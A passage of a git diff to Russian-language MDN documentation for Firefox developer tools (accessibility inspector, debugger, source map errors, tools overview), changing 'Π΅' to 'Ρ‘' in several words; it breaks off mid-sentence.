+ <li><span id="result_box" lang="ru"><span>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ структурирована ваша страница, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ½ΡΡ‚ΡŒ, стоит Π»ΠΈ Π΅Ρ‘ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ.</span></span></li>
<li><strong>Ну ΠΈΒ  ...Β  это  ΡˆΡ‰-ΠΈ-ΠΈ-ΠΈ-ΠΈ-ΠΈ-ΠΊΠ°Ρ€Π½ΠΎ</strong>.</li>
</ul>
diff --git a/files/ru/tools/accessibility_inspector/index.html b/files/ru/tools/accessibility_inspector/index.html
index 52c20f411a..7dc539fd14 100644
--- a/files/ru/tools/accessibility_inspector/index.html
+++ b/files/ru/tools/accessibility_inspector/index.html
@@ -14,7 +14,7 @@ original_slug: Tools/Π˜Π½ΡΠΏΠ΅ΠΊΡ‚ΠΎΡ€_доступности
<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ Π² основном Π³ΠΎΠ²ΠΎΡ€ΠΈΠΌ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ донСсти ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ людям с Π½Π°Ρ€ΡƒΡˆΠ΅Π½ΠΈΡΠΌΠΈ зрСния - это дСлаСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <a href="https://www.smashingmagazine.com/2015/03/web-accessibility-with-accessibility-api/">API доступности</a>, доступных Π²Π½ΡƒΡ‚Ρ€ΠΈ Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π°ΡΠΊΡ€Ρ‹Π²Π°ΡŽΡ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊΠΈΠ΅ Ρ€ΠΎΠ»ΠΈ ΠΈΠ³Ρ€Π°ΡŽΡ‚ Ρ€Π°Π·Π½Ρ‹Π΅ элСмСнты Π½Π° вашСй страницС (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΎΠ½ΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ тСкстом ΠΈΠ»ΠΈ ΠΊΠ½ΠΎΠΏΠΊΠ°ΠΌΠΈ, ссылками, элСмСнтами Ρ„ΠΎΡ€ΠΌ ΠΈ Ρ‚. Π΄.?).</p>
-<p>БСмантичСскиС элСмСнты DOM ΠΈΠΌΠ΅ΡŽΡ‚ Ρ€ΠΎΠ»ΠΈ, Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π½Ρ‹Π΅ ΠΈΠΌ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ своС ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. Иногда приходится ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π½Π΅ ΡΠ΅ΠΌΠ°Π½Ρ‚ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, {{htmlelement ("div")}}) для создания слоТного настраиваСмого элСмСнта управлСния, Π° элСмСнт управлСния Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ€ΠΎΠ»ΡŒ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, которая ΠΎΡ‚Ρ€Π°ΠΆΠ°Π΅Ρ‚ Π΅Π³ΠΎ Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. Π’ Ρ‚Π°ΠΊΠΎΠΉ ситуации Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ Ρ€ΠΎΠ»ΠΈ WAI-ARIA для обозначСния своих собствСнных Ρ€ΠΎΠ»Π΅ΠΉ.</p>
+<p>БСмантичСскиС элСмСнты DOM ΠΈΠΌΠ΅ΡŽΡ‚ Ρ€ΠΎΠ»ΠΈ, Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π½Ρ‹Π΅ ΠΈΠΌ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ своё ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. Иногда приходится ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π½Π΅ ΡΠ΅ΠΌΠ°Π½Ρ‚ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, {{htmlelement ("div")}}) для создания слоТного настраиваСмого элСмСнта управлСния, Π° элСмСнт управлСния Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ€ΠΎΠ»ΡŒ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, которая ΠΎΡ‚Ρ€Π°ΠΆΠ°Π΅Ρ‚ Π΅Π³ΠΎ Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. Π’ Ρ‚Π°ΠΊΠΎΠΉ ситуации Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ Ρ€ΠΎΠ»ΠΈ WAI-ARIA для обозначСния своих собствСнных Ρ€ΠΎΠ»Π΅ΠΉ.</p>
<p>Π ΠΎΠ»ΠΈ ΠΈ другая информация, прСдоставляСмая API-интСрфСйсами Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, прСдставлСна Π² иСрархичСской структурС, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΠΎΠΉ Π΄Π΅Ρ€Π΅Π²ΠΎΠΌ доступности. Π­Ρ‚ΠΎ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠΎΡ…ΠΎΠΆΠ΅ Π½Π° Π΄Π΅Ρ€Π΅Π²ΠΎ DOM, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΎ содСрТит Π±ΠΎΠ»Π΅Π΅ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΉ Π½Π°Π±ΠΎΡ€ элСмСнтов ΠΈ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π΄Ρ€ΡƒΠ³ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Π½ΠΈΡ….</p>
diff --git a/files/ru/tools/debugger/index.html b/files/ru/tools/debugger/index.html
index 2ff61ab577..14ba440f2a 100644
--- a/files/ru/tools/debugger/index.html
+++ b/files/ru/tools/debugger/index.html
@@ -13,7 +13,7 @@ translation_of: Tools/Debugger
---
<div>{{ToolsSidebar}}</div><p>ΠžΡ‚Π»Π°Π΄Ρ‡ΠΈΠΊ<span id="result_box" lang="ru"><span> JavaScript</span> <span class="hps">позволяСт</span> ΠΏΡ€ΠΎΠΉΡ‚ΠΈΡΡŒ ΠΏΠΎ <span class="hps">JavaScript-ΠΊΠΎΠ΄Ρƒ,</span> <span class="hps">ΠΈΡΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ</span> <span class="hps">ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ</span> <span class="hps">Π΅Π³ΠΎ состояниС</span><span>, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹ΡΠ²ΠΈΡ‚ΡŒ </span><span class="hps">ошибки Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ΅.</span></span></p>
-<p><span id="result_box" lang="ru"><span class="hps">Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ</span> <span class="hps">для ΠΎΡ‚Π»Π°Π΄ΠΊΠΈ</span> <span class="hps">ΠΊΠΎΠ΄Π°, выполняСмого</span> <span class="hps">локально Π²</span> <span class="hps">Firefox</span> <span class="hps">ΠΈΠ»ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‰Π΅ΠΌ </span><span class="hps">ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎ,</span> <span class="hps">Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π²</span> <span class="hps">устройствС</span> <span class="hps">Firefox</span> <span class="hps">OS</span> <span class="hps">ΠΈΠ»ΠΈ</span> <span class="hps">Firefox</span> <span class="hps">Π½Π°</span> <span class="hps">Android.</span> Π˜Π·ΡƒΡ‡ΠΈΡ‚Π΅ </span><a href="/en-US/docs/Tools/Remote_Debugging">ΠžΡ‚Π»Π°Π΄ΠΊΠ° ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹Ρ… скриптов </a><span id="result_box" lang="ru"><span class="hps">Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊ</span> <span class="hps">ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ ΠΊ Π½ΠΈΠΌ</span> <span class="hps">ΠΎΡ‚Π»Π°Π΄Ρ‡ΠΈΠΊ</span><span>.</span></span></p>
+<p><span id="result_box" lang="ru"><span class="hps">Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ</span> <span class="hps">для ΠΎΡ‚Π»Π°Π΄ΠΊΠΈ</span> <span class="hps">ΠΊΠΎΠ΄Π°, выполняСмого</span> <span class="hps">локально Π²</span> <span class="hps">Firefox</span> <span class="hps">ΠΈΠ»ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‰Π΅ΠΌ </span><span class="hps">ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎ,</span> <span class="hps">Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π²</span> <span class="hps">устройствС</span> <span class="hps">Firefox</span> <span class="hps">OS</span> <span class="hps">ΠΈΠ»ΠΈ</span> <span class="hps">Firefox</span> <span class="hps">Π½Π°</span> <span class="hps">Android.</span> Π˜Π·ΡƒΡ‡ΠΈΡ‚Π΅ </span><a href="/en-US/docs/Tools/Remote_Debugging">ΠžΡ‚Π»Π°Π΄ΠΊΠ° ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹Ρ… скриптов </a><span id="result_box" lang="ru"><span class="hps">Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊ</span> <span class="hps">ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ ΠΊ Π½ΠΈΠΌ</span> <span class="hps">ΠΎΡ‚Π»Π°Π΄Ρ‡ΠΈΠΊ</span><span>.</span></span></p>
<p>{{EmbedYouTube("sK8KU8oiF8s")}}</p>
diff --git a/files/ru/tools/debugger/source_map_errors/index.html b/files/ru/tools/debugger/source_map_errors/index.html
index 40dc3098d3..0cc0e25ef2 100644
--- a/files/ru/tools/debugger/source_map_errors/index.html
+++ b/files/ru/tools/debugger/source_map_errors/index.html
@@ -5,13 +5,13 @@ translation_of: Tools/Debugger/Source_map_errors
---
<p>{{ToolsSidebar}}</p>
-<p class="summary"><span id="result_box" lang="ru"><span>Π˜ΡΡ…ΠΎΠ΄Π½Ρ‹Π΅ ΠΊΠ°Ρ€Ρ‚Ρ‹ - это Ρ„Π°ΠΉΠ»Ρ‹ JSON, ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‰ΠΈΠ΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡΠ²ΡΠ·Π°Ρ‚ΡŒ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½Π½Ρ‹Π΅ источники, ΠΊΠ°ΠΊ Π²ΠΈΠ΄Π½ΠΎ ΠΈΠ· Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, с ΠΈΡ… исходными источниками, ΠΊΠ°ΠΊ написано Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠΌ.</span> <span>Иногда Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΡ‚ΠΎΠ»ΠΊΠ½ΡƒΡ‚ΡŒΡΡ с ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°ΠΌΠΈ, связанными с исходными ΠΊΠ°Ρ€Ρ‚Π°ΠΌΠΈ.</span> <span>На этой страницС ΠΎΠ±ΡŠΡΡΠ½ΡΡŽΡ‚ΡΡ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнныС ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ ΠΈ способы ΠΈΡ… устранСния.</span></span></p>
+<p class="summary"><span id="result_box" lang="ru"><span>Π˜ΡΡ…ΠΎΠ΄Π½Ρ‹Π΅ ΠΊΠ°Ρ€Ρ‚Ρ‹ - это Ρ„Π°ΠΉΠ»Ρ‹ JSON, ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‰ΠΈΠ΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡΠ²ΡΠ·Π°Ρ‚ΡŒ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½Π½Ρ‹Π΅ источники, ΠΊΠ°ΠΊ Π²ΠΈΠ΄Π½ΠΎ ΠΈΠ· Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, с ΠΈΡ… исходными источниками, ΠΊΠ°ΠΊ написано Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠΌ.</span> <span>Иногда Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΡ‚ΠΎΠ»ΠΊΠ½ΡƒΡ‚ΡŒΡΡ с ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°ΠΌΠΈ, связанными с исходными ΠΊΠ°Ρ€Ρ‚Π°ΠΌΠΈ.</span> <span>На этой страницС ΠΎΠ±ΡŠΡΡΠ½ΡΡŽΡ‚ΡΡ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространённыС ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ ΠΈ способы ΠΈΡ… устранСния.</span></span></p>
<div class="note">
<p><span id="result_box" lang="ru"><span>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅. Если Π²Ρ‹ Π½ΠΎΠ²ΠΈΡ‡ΠΎΠΊ Π² исходных ΠΊΠ°Ρ€Ρ‚Π°Ρ…, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ·Π½Π°Ρ‚ΡŒ большС ΠΎ Π½ΠΈΡ… Π² Ρ€Π°Π·Π΄Π΅Π»Π΅ </span></span><a href="https://developer.mozilla.org/en-US/docs/Tools/Debugger/How_to/Use_a_source_map"><span lang="ru"><span>Use_a_source_map</span></span></a></p>
</div>
-<h2 id="ΠžΠ±Ρ‰ΠΈΠΉ_ΠΎΡ‚Ρ‡Π΅Ρ‚_ΠΎΠ±_ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ…_исходной_ΠΊΠ°Ρ€Ρ‚Ρ‹"><span class="short_text" id="result_box" lang="ru"><span>ΠžΠ±Ρ‰ΠΈΠΉ ΠΎΡ‚Ρ‡Π΅Ρ‚ ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ… исходной ΠΊΠ°Ρ€Ρ‚Ρ‹</span></span></h2>
+<h2 id="ΠžΠ±Ρ‰ΠΈΠΉ_ΠΎΡ‚Ρ‡Ρ‘Ρ‚_ΠΎΠ±_ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ…_исходной_ΠΊΠ°Ρ€Ρ‚Ρ‹"><span class="short_text" id="result_box" lang="ru"><span>ΠžΠ±Ρ‰ΠΈΠΉ ΠΎΡ‚Ρ‡Ρ‘Ρ‚ ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ… исходной ΠΊΠ°Ρ€Ρ‚Ρ‹</span></span></h2>
<p><span id="result_box" lang="ru"><span>Если Π²Ρ‹ Π²ΠΈΠ΄ΠΈΡ‚Π΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ, Π½Π° Π²Π΅Π±-консоли появится сообщСниС.Π­Ρ‚ΠΎ сообщСниС ΠΏΠΎΠΊΠ°ΠΆΠ΅Ρ‚ сообщСниС ΠΎΠ± ошибкС, URL-адрСс рСсурса ΠΈ URL-адрСс исходной ΠΊΠ°Ρ€Ρ‚Ρ‹:</span></span></p>
diff --git a/files/ru/tools/index.html b/files/ru/tools/index.html
index 92f2c54bfd..2310ea29f7 100644
--- a/files/ru/tools/index.html
+++ b/files/ru/tools/index.html
@@ -37,7 +37,7 @@ translation_of: Tools
</tr>
<tr>
<td><img alt="" src="https://mdn.mozillademos.org/files/16088/camera_button.png" style="max-width: 32px;"></td>
- <td>Π©Π΅Π»Ρ‡ΠΎΠΊ ΠΏΠΎ Π΄Π°Π½Π½ΠΎΠΉ ΠΊΠ½ΠΎΠΏΠΊΠ΅ создаСт снимок экрана (screenshot) Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ страницы. (<strong>Π’Π½ΠΈΠΌΠ°Π½ΠΈΠ΅:</strong> По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ данная функция ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Π° ΠΈ, ΠΏΡ€ΠΈ нСобходимости, Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π° Π² настройках.)</td>
+ <td>Π©Π΅Π»Ρ‡ΠΎΠΊ ΠΏΠΎ Π΄Π°Π½Π½ΠΎΠΉ ΠΊΠ½ΠΎΠΏΠΊΠ΅ создаёт снимок экрана (screenshot) Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ страницы. (<strong>Π’Π½ΠΈΠΌΠ°Π½ΠΈΠ΅:</strong> По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ данная функция ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Π° ΠΈ, ΠΏΡ€ΠΈ нСобходимости, Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π° Π² настройках.)</td>
</tr>
<tr>
<td><img alt="" src="https://mdn.mozillademos.org/files/16089/responsive_button.png" style="max-width: 32px;"></td>
@@ -139,14 +139,14 @@ translation_of: Tools
<dt><a href="/en-US/docs/Tools/Web_Audio_Editor">Π Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ Π²Π΅Π± Π°ΡƒΠ΄ΠΈΠΎΒ </a></dt>
<dd><span class="tlid-translation translation" lang="ru"><span title="">Π˜Π·ΡƒΡ‡ΠΈΡ‚Π΅ Π³Ρ€Π°Ρ„ΠΈΠΊ Π°ΡƒΠ΄ΠΈΠΎΡƒΠ·Π»ΠΎΠ² Π² аудиоконтСкстС ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚Π΅ ΠΈΡ… ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹.</span></span></dd>
<dt><a href="/en-US/docs/Tools/Screenshot_tool">Π”Π΅Π»Π°Ρ‚ΡŒ ΡΠΊΡ€ΠΈΠ½ΡˆΠΎΡ‚Ρ‹</a></dt>
- <dd>Π‘Π΄Π΅Π»Π°ΠΉΡ‚Π΅ ΡΠΊΡ€ΠΈΠ½ΡˆΠΎΡ‚ всСй страницы, ΠΈΠ»ΠΈ ΠΎΠ΄Π½ΠΎΠ³ΠΎ Π΅Π΅ элСмСнта.</dd>
+ <dd>Π‘Π΄Π΅Π»Π°ΠΉΡ‚Π΅ ΡΠΊΡ€ΠΈΠ½ΡˆΠΎΡ‚ всСй страницы, ΠΈΠ»ΠΈ ΠΎΠ΄Π½ΠΎΠ³ΠΎ Π΅Ρ‘ элСмСнта.</dd>
</dl>
</div>
<hr>
<h2 id="ΠŸΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅_инструмСнтов_Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°"><span class="tlid-translation translation" lang="ru"><span title="">ΠŸΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ инструмСнтов Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°</span></span></h2>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Если Π²Ρ‹ ΠΎΡ‚ΠΊΡ€ΠΎΠ΅Ρ‚Π΅ инструмСнты Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ</span></span> <a href="/en-US/docs/Tools/Keyboard_shortcuts#Opening_and_closing_tools">сочСтания клавиш</a> <span class="tlid-translation translation" lang="ru"><span title="">ΠΈΠ»ΠΈ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½Ρ‹Ρ… ΠΏΡƒΠ½ΠΊΡ‚ΠΎΠ² мСню, ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ Π½Π°Ρ†Π΅Π»Π΅Π½Ρ‹ Π½Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½Π½Ρ‹ΠΉ Π½Π° Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅.</span> <span title="">Но Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠΈΡ‚ΡŒ инструмСнты ΠΊ мноТСству Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ†Π΅Π»Π΅ΠΉ, ΠΊΠ°ΠΊ Π² Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Ρ‚Π°ΠΊ ΠΈ Π² Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ Π½Π° Ρ€Π°Π·Π½Ρ‹Ρ… устройствах.</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Если Π²Ρ‹ ΠΎΡ‚ΠΊΡ€ΠΎΠ΅Ρ‚Π΅ инструмСнты Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ</span></span> <a href="/en-US/docs/Tools/Keyboard_shortcuts#Opening_and_closing_tools">сочСтания клавиш</a> <span class="tlid-translation translation" lang="ru"><span title="">ΠΈΠ»ΠΈ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½Ρ‹Ρ… ΠΏΡƒΠ½ΠΊΡ‚ΠΎΠ² мСню, ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ Π½Π°Ρ†Π΅Π»Π΅Π½Ρ‹ Π½Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, Ρ€Π°Π·ΠΌΠ΅Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ Π½Π° Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅.</span> <span title="">Но Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠΈΡ‚ΡŒ инструмСнты ΠΊ мноТСству Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ†Π΅Π»Π΅ΠΉ, ΠΊΠ°ΠΊ Π² Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Ρ‚Π°ΠΊ ΠΈ Π² Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ Π½Π° Ρ€Π°Π·Π½Ρ‹Ρ… устройствах.</span></span></p>
<div class="twocolumns">
<dl>
@@ -176,7 +176,7 @@ translation_of: Tools
<h2 id="Π Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅_инструмСнтов_Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°">Π Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ инструмСнтов Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°</h2>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Ρ‹ для Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ.</span> <span title="">ДополнСния Firefox ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ инструмСнтам Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° ΠΈ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π°ΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ для Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… инструмСнтов ΠΈ добавлСния Π½ΠΎΠ²Ρ‹Ρ… инструмСнтов.</span> <span title="">Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠΉ ΠΎΡ‚Π»Π°Π΄ΠΊΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ свои собствСнныС ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρ‹ ΠΈ сСрвСры ΠΎΡ‚Π»Π°Π΄ΠΊΠΈ, Ρ‡Ρ‚ΠΎ позволяСт ΠΎΡ‚Π»Π°ΠΆΠΈΠ²Π°Ρ‚ΡŒ Π²Π΅Π±-сайты с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ собствСнных 